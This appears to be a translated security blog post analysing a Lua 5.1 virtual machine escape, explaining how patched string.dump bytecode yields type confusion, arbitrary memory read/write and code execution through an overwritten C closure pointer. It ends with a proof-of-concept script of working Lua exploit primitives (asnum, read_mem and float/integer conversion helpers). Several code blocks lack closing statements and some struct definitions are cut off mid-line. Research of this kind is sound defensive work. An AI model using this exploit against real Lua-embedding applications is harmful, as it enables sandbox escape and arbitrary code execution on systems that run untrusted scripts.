Analysis of VM escape by using LUA script


0x00 LUA Data Breaches

Lua provides a string.dump that is used to dump a lua function into a LUA bytecode. And the loadingstring function is able to load a bytecode into a LUA function. Through manipulating LUA raw bytecodes, the LUA interpreter will be made into a special state and bugs will rise.

asnum = loadstring(string.dump(function(x)
  for i = x, x, 0 do
    return i
end):gsub("\96%z%z\128", "\22\0\0\128"))

The length of LUA bytecode is fixed with 32 bits, i.e.4 bytes, defined as:

It’s comprised of opcodes, R(A), R(B), R(C), R(Bx) and R(sBx) where A, B and C each represent an index of LUA registers.

The asnum function can transform any LUA objects to numbers (note: under LUA5.1 64bitLinux). The gsub function uses bytecode \22\0\0\128 to replace \96%z%z\128, as shown below:

0071  60000080           [4] forprep    1   1        ; to [6]
0075  1E010001           [5] return     4   2      
0079  5F40FF7F           [6] forloop    1   -2       ; to [5] if loop

Aftere executing the gsub function, the forprep instruction is replaced as JMP to [6] and the following shows the corresponding code for the foreprep instruction in LUA interpreter:

case OP_FORPREP: {
        const TValue *init = ra;
        const TValue *plimit = ra+1;
        const TValue *pstep = ra+2;
        L->savedpc = pc;  /* next steps may throw errors */
        if (!tonumber(init, ra))
          luaG_runerror(L, LUA_QL("for") " initial value must be a number");
        else if (!tonumber(plimit, ra+1))
          luaG_runerror(L, LUA_QL("for") " limit must be a number");
        else if (!tonumber(pstep, ra+2))
          luaG_runerror(L, LUA_QL("for") " step must be a number");
        setnvalue(ra, luai_numsub(nvalue(ra), nvalue(pstep)));
        dojump(L, pc, GETARG_sBx(i));

Under normal circumstances of LUA, the forprep instruction will check if the parameter is number-type and execute initialization. However, since bytecodes are replaced to JMP, the check for LUA types is skipped and execution directly enters into the forloop instruction.

case OP_FORLOOP: {
        lua_Number step = nvalue(ra+2);
        lua_Number idx = luai_numadd(nvalue(ra), step); /* increment index */
        lua_Number limit = nvalue(ra+1);
        if (luai_numlt(0, step) ? luai_numle(idx, limit)
                                : luai_numle(limit, idx)) {
          dojump(L, pc, GETARG_sBx(i));  /* jump back */
          setnvalue(ra, idx);  /* update internal index... */
          setnvalue(ra+3, idx);  /* ...and external index */

The forloop instruction will directly transform the loop parameters to Lua Number (double) and perform add operation (+0), and then execute dojump return; finally, it returns lua Number.

LUA uses TValue to represent generic data objects using the following format:

Value(64bit) tt(32bit) padd(32bit)
GCObject *gc; -> TString* LUA_TSTRING
GCObject *gc; -> Closure* LUA_TFUNCTION

0x01 LUA arbitrary memory access (read/ write)

read_mem = loadstring(string.dump(function(mem_addr) 
  local magic=nil
  local function middle()
    local f2ii, asnum = f2ii, asnum
    local lud, upval
    local function inner()
      magic = "01234567"
      local lo,hi = f2ii(mem_addr)
      upval = "commonhead16bits"..ub4(lo)..ub4(hi)
      lo,hi = f2ii(asnum(upval));lo = lo+24
      magic = magic..ub4(lo)..ub4(hi)..ub4(lo)..ub4(hi)
    return asnum(magic)
  magic = middle()
  return magic
end):gsub("(\164%z%z%z)....", "%1\0\0\128\1", 1))  --> move 0,3

Check the external function first. Here is its corresponding LUA bytecodes.

0785  A4000000           [1] closure    2   0        ; 2 upvalues
0789  00008000           [2] move       0   1      
078D  00000000           [3] move       0   0      
0791  C0000001           [4] move       3   2      
0795  DC808000           [5] call       3   1   2  
0799  40008001           [6] move       1   3      
079D  5E000001           [7] return     1   2

This is the first instance (or closure) that LUA uses the CLOSURE A Bx instruction to create a function. Bx is the function number that represents a function to be instantiated in the function prototype table.

closure 2 0: create No. 0 function object and save the results to No. 2 register. The following shows the specific code:

case OP_CLOSURE: {
        Proto *p;
        Closure *ncl;
        int nup, j;
        p = cl->p->p[GETARG_Bx(i)];
        nup = p->nups;
        ncl = luaF_newLclosure(L, nup, cl->env);
        ncl->l.p = p;
        for (j=0; j<nup; j++, pc++) {
          if (GET_OPCODE(*pc) == OP_GETUPVAL)
            ncl->l.upvals[j] = cl->upvals[GETARG_B(*pc)];
          else {
            lua_assert(GET_OPCODE(*pc) == OP_MOVE);
            ncl->l.upvals[j] = luaF_findupval(L, base + GETARG_B(*pc));
        setclvalue(L, ra, ncl);

Within LUA, it uses Proto data structure to represent function prototype and record some basic information about a function. LUA uses UpVal data structure to record the reference for external arguments of the current function. For example:

function parent()
  local upval=nil
  function child() upval="child" end
  print(upval) --output string child

A parent function defines a local argument upval and a child function directly uses this argument, Meanwhile, the parent function initializes the upval table while create a closure. When LUA interpreter generates the CLOSURE A Bx instruction, MOVE 0,B pseudo instruction will be automatically inserted and R(B) is instructed to bring into the Upval register number of the child function.

0785  A4000000           [1] closure    2   0        ; 2 upvalues
0789  00008000           [2] move       0   1      
078D  00000000           [3] move       0   0      
0791  C0000001           [4] move       3   2     --R(3) = R(2)
0795  DC808000           [5] call       3   1   2  --Call R(3)

Execute gsub("(\164%z%z%z)....", "%1\0\0\128\1", 1)) [%1 refers to the first matching item]. Replace move 0 1 to move 0 3, but register 3 represents a CLOSURE object. Therefore, the magic of middle functions and inner functions actually execute the object of middle functions.

LUA uses CALL A B C bytecode instruction to handle function calls. Register R(A) holds the reference to the function object to be called. The reference parameter is placed in the register that follows after RA. The number of parameters (B-1) and the number of returned values (C-1), such as call 3 3 1, represent that the two parameters are R(4) and R(5) with no returned value.

case OP_CALL: {
        int b = GETARG_B(i);
        int nresults = GETARG_C(i) - 1;
        if (b != 0) L->top = ra+b;  /* else previous instruction set top */
        L->savedpc = pc;
        switch (luaD_precall(L, ra, nresults)) {
          case PCRLUA: {
            goto reentry;  /* restart luaV_execute over new Lua function */

LUA uses CallInfo data structure to perform track on function calls and then the luaD_precall function uses inc_ci function to create new function call information.

#define inc_ci(L) \
  ((L->ci == L->end_ci) ? growCI(L) : \
   (condhardstacktests(luaD_reallocCI(L, L->size_ci)), ++L->ci))

For the call info for current function of lua_State->ci, very time a function is called, add a ci; every time a value is returned, reduce a ci. Here is the data structure for CallInfo:

typedef struct CallInfo {
  StkId base;  /* base for this function */
  StkId func;  /* function index in the stack */
  StkId top;  /* top for this function */
  const Instruction *savedpc;
  int nresults;  /* expected number of results from this function */
  int tailcalls;  /* number of tail calls lost under this entry */
} CallInfo;

Amongst the func of CallInfo in luaD_precall initializes the objects pointing to R(A).

The basic flow of the inner function: magic Upval will point to the middle function by modifying bytecodes, the inner function will assign the magic value to a string before return, then it executes OP_RETURN to return the middle function. At last, OP_RETURN calls luaD_poscall to execute L->ci--, and switches to the upper function to get CallInfo information, then it goes to reentry, as shown below:

LClosure *cl; 
reentry:  /* entry point */
    pc = L->savedpc;
cl = &clvalue(L->ci->func)->l;
base = L->base;
k = cl->p->k;

Among them, &clvalue(L->ci->func) directly changes ci->func to Closure* pointer, but the inner function,has already modified the ci->func object to a string object, later k = cl->p->k is to obtain the constants table for function prototype.

Let’s first check out the memory layout for string objects and Closure object.

cl->p corresponds the contents that starts from 9th character in TString. Magic is initialized as "01234567" in the inner function. Populcate the frst 8 bytes and cobine the two memory pointers […as a connector for LUA strings], as below:

magic = magic..ub4(lo)..ub4(hi)..ub4(lo)..ub4(hi)

The ub4 function transforms a 32-bit integer to a string. lo and hi respectively correspond to the low and high 32 bits in 64bit memory address. This memory address points to

lo,hi = f2ii(asnum(upval));lo = lo+24

Note that upval is string type (the length of header is 24). Because lo+24 points to string contents, cl->p actually points to "commonhead16bits"..ub4(lo)..ub4(hi)

cl->p->k, here is the correponding data structure definition:

typedef struct Proto {
  TValue *k;  /* constants u

After alignment, CommonHeader memory occupies 16 bytes, therefore, k points to the memory address that we passed.

Similarly, cl->upvals[

typedef struct UpVal {
  TValue *v;  /* points to stack or to its own value */

Next is to execute the middle function to execute the return asnum(magic) statement, here is related bytecodes:

MOVE        5  1
GETUPVAL    6  0    ; magic
TAILCALL    5  2  0
RETURN      5  0

R(5) = R(1) = asnum function object executes GETUPVAL 6 0 and uses R(6) as function parameter 1 to call the asnum function, finally returns the read results of asnum.

  int b = GETARG_B(i);
  setobj2s(L, ra, cl->upvals[b]->v);

In GETUPVAL 6 0, b=0, that’s why cl->upvals[b]->v is the memory we constructed. The function is copied from the corresponding memory address to R(6), and then by using asnum to read contents, implement arbitrary write/read to the memory address. Similarly, if a value is assigned to magic in the middle function, it can also implement arbitrary write/read to the memory address (in fact, it’s to write 8-byte and 4-byte tt types).

0x02 code execution

LUA uses OP_CALL to call a function. luaD_precall handles the call to C function,as the following:

/* if is a C function, call it */
    CallInfo *ci;
    int n;
    ci = inc_ci(L);  /* now `enter' new function */
    ci->func = restorestack(L, funcr);
    L->base = ci->base = ci->func + 1;
    ci->top = L->top + LUA_MINSTACK;
    ci->nresults = nresults;
    n = (*curr_func(L)->c.f)(L);  /* do the actual call */

LUA uses lua_pushcclosure function to create closure object for Cfunction. LUA base library-luaB_cowrap will call lua_pushcclosure, create a CClosure *object. The following is the specific LUA script:

co = coroutine.wrap(function() end)

Here is the memory layout for CClosure:

Pointer f is the offset 32 in its object. By using the aforementioned memory write technique, it’s able to replace f to the specified memory address to implement arbitrary code execution.

0x03 POC

asnum = loadstring(string.dump(function(x)
  for i = x, x, 0 do
    return i
end):gsub("\96%z%z\128", "\22\0\0\128"))
ub4 = function(x) -- Convert little endian uint32_t to char[4]
  local b0 = x % 256; x = (x - b0) / 256
  local b1 = x % 256; x = (x - b1) / 256
  local b2 = x % 256; x = (x - b2) / 256
  local b3 = x % 256
  return string.char(b0, b1, b2, b3)
f2ii = function(x) -- Convert double to uint32_t[2]
  if x == 0 then return 0, 0 end
  if x < 0 then x = -x end
  local e_lo, e_hi, e, m = -1075, 1023
  while true do -- this loop is math.frexp
    e = (e_lo + e_hi)
    e = (e - (e % 2)) / 2
    m = x / 2^e
    if m < 0.5 then e_hi = e elseif 1 <= m then e_lo = e else break end
  if e+1023 <= 1 then
    m = m * 2^(e+1074)
    e = 0
    m = (m - 0.5) * 2^53
    e = e + 1022
  local lo = m % 2^32
  m = (m - lo) / 2^32
  local hi = m + e * 2^20
  return lo, hi
ii2f = function(lo, hi) -- Convert uint32_t[2] to double
  local m = hi % 2^20
  local e = (hi - m) / 2^20
  m = m * 2^32 + lo
  if e ~= 0 then
    m = m + 2^52
    e = 1
  return m * 2^(e-1075)
read_mem = loadstring(string.dump(function(mem_addr) -- AAAABBBB 1094795585 1111638594
  local magic=nil
  local function middle()
    local f2ii, asnum = f2ii, asnum
    local lud, upval
    local function inner()
      magic = "01234567"
      local lo,hi = f2ii(mem_addr)
      upval = "commonhead16bits"..ub4(lo)..ub4(hi)
      lo,hi = f2ii(asnum(upval));lo = lo+24
      magic = magic..ub4(lo)..ub4(hi)..ub4(lo)..ub4(hi)
    return asnum(magic)
  magic = middle()
  return magic
end):gsub("(\164%z%z%z)....", "%1\0\0\128\1", 1))  --> move 0,3

Tags: none

No comments yet.

  1. [...] [...]

Add a new comment.